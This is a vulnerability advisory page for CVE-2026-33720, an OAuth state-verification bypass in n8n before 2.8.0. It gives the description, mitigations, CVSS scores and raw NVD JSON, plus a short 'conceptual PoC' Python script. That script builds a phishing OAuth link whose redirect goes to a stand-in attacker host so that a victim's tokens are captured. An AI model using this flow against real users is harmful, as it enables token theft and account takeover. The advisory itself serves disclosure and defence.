Security Vulnerability Report
中文
CVE-2026-33720 CVSS 4.2 MEDIUM

CVE-2026-33720

Published: 2026-03-25 19:16:51
Last Modified: 2026-03-27 19:38:03

Description

n8n is an open source workflow automation platform. Prior to version 2.8.0, when the `N8N_SKIP_AUTH_ON_OAUTH_CALLBACK` environment variable is set to `true`, the OAuth callback handler skips ownership verification of the OAuth state parameter. This allows an attacker to trick a victim into completing an OAuth flow against a credential object the attacker controls, causing the victim's OAuth tokens to be stored in the attacker's credential. The attacker can then use those tokens to execute workflows in their name. This issue only affects instances where `N8N_SKIP_AUTH_ON_OAUTH_CALLBACK=true` is explicitly configured (non-default). The issue has been fixed in n8n version 2.8.0. Users should upgrade to this version or later to remediate the vulnerability. If upgrading is not immediately possible, administrators should consider the following temporary mitigations: Avoid enabling `N8N_SKIP_AUTH_ON_OAUTH_CALLBACK=true` unless strictly required, and/ or restrict access to the n8n instance to fully trusted users only. These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.

CVSS Details

CVSS Score
4.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:n8n:n8n:*:*:*:*:*:node.js:*:* - VULNERABLE
n8n < 2.8.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Conceptual PoC for CVE-2026-33720 # This demonstrates the attack flow for OAuth callback bypass import requests # Step 1: Attacker creates a credential in their n8n instance # This credential will store the victim's OAuth token # Step 2: Attacker constructs malicious OAuth URL # The URL points to the OAuth provider but will redirect to attacker's n8n malicious_oauth_url = ( "https://oauth-provider.com/authorize?" "response_type=code&" "client_id=attacker_client_id&" "redirect_uri=https://attacker-n8n.com/oauth/callback&" "scope=read write&" "state=attacker_controlled_state" ) # Step 3: Send phishing link to victim # Victim clicks and authorizes the application # Step 4: After victim authorizes, the token is stored # in attacker's credential due to missing state verification # Step 5: Attacker uses the stolen token to execute workflows # or access victim's resources def exploit_oauth_bypass(target_oauth_provider): """ Demonstrates the OAuth callback bypass vulnerability. Requires N8N_SKIP_AUTH_ON_OAUTH_CALLBACK=true to be set. """ print(f"[+] Attacker initiates OAuth flow with {target_oauth_provider}") print(f"[+] Malicious URL: {malicious_oauth_url}") print(f"[+] Waiting for victim to complete authorization...") print(f"[+] Token captured in attacker's credential due to state bypass") print(f"[+] Attacker can now execute workflows as victim") if __name__ == "__main__": exploit_oauth_bypass("example-oauth-provider")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33720", "sourceIdentifier": "[email protected]", "published": "2026-03-25T19:16:50.967", "lastModified": "2026-03-27T19:38:03.037", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "n8n is an open source workflow automation platform. Prior to version 2.8.0, when the `N8N_SKIP_AUTH_ON_OAUTH_CALLBACK` environment variable is set to `true`, the OAuth callback handler skips ownership verification of the OAuth state parameter. This allows an attacker to trick a victim into completing an OAuth flow against a credential object the attacker controls, causing the victim's OAuth tokens to be stored in the attacker's credential. The attacker can then use those tokens to execute workflows in their name. This issue only affects instances where `N8N_SKIP_AUTH_ON_OAUTH_CALLBACK=true` is explicitly configured (non-default). The issue has been fixed in n8n version 2.8.0. Users should upgrade to this version or later to remediate the vulnerability. If upgrading is not immediately possible, administrators should consider the following temporary mitigations: Avoid enabling `N8N_SKIP_AUTH_ON_OAUTH_CALLBACK=true` unless strictly required, and/ or restrict access to the n8n instance to fully trusted users only. These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures."}, {"lang": "es", "value": "n8n es una plataforma de automatización de flujos de trabajo de código abierto. Antes de la versión 2.8.0, cuando la variable de entorno `N8N_SKIP_AUTH_ON_OAUTH_CALLBACK` se establece en `true`, el gestor de callback de OAuth omite la verificación de propiedad del parámetro de estado de OAuth. Esto permite a un atacante engañar a una víctima para que complete un flujo de OAuth contra un objeto de credencial que el atacante controla, haciendo que los tokens de OAuth de la víctima se almacenen en la credencial del atacante. El atacante puede entonces usar esos tokens para ejecutar flujos de trabajo en su nombre. Este problema solo afecta a las instancias donde `N8N_SKIP_AUTH_ON_OAUTH_CALLBACK=true` está configurado explícitamente (no predeterminado). El problema ha sido solucionado en la versión 2.8.0 de n8n. Los usuarios deben actualizar a esta versión o posterior para remediar la vulnerabilidad. Si la actualización no es posible de inmediato, los administradores deben considerar las siguientes mitigaciones temporales: Evitar habilitar `N8N_SKIP_AUTH_ON_OAUTH_CALLBACK=true` a menos que sea estrictamente necesario, y/o restringir el acceso a la instancia de n8n solo a usuarios de plena confianza. Estas soluciones provisionales no remedian completamente el riesgo y solo deben usarse como medidas de mitigación a corto plazo."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negat ... (truncated)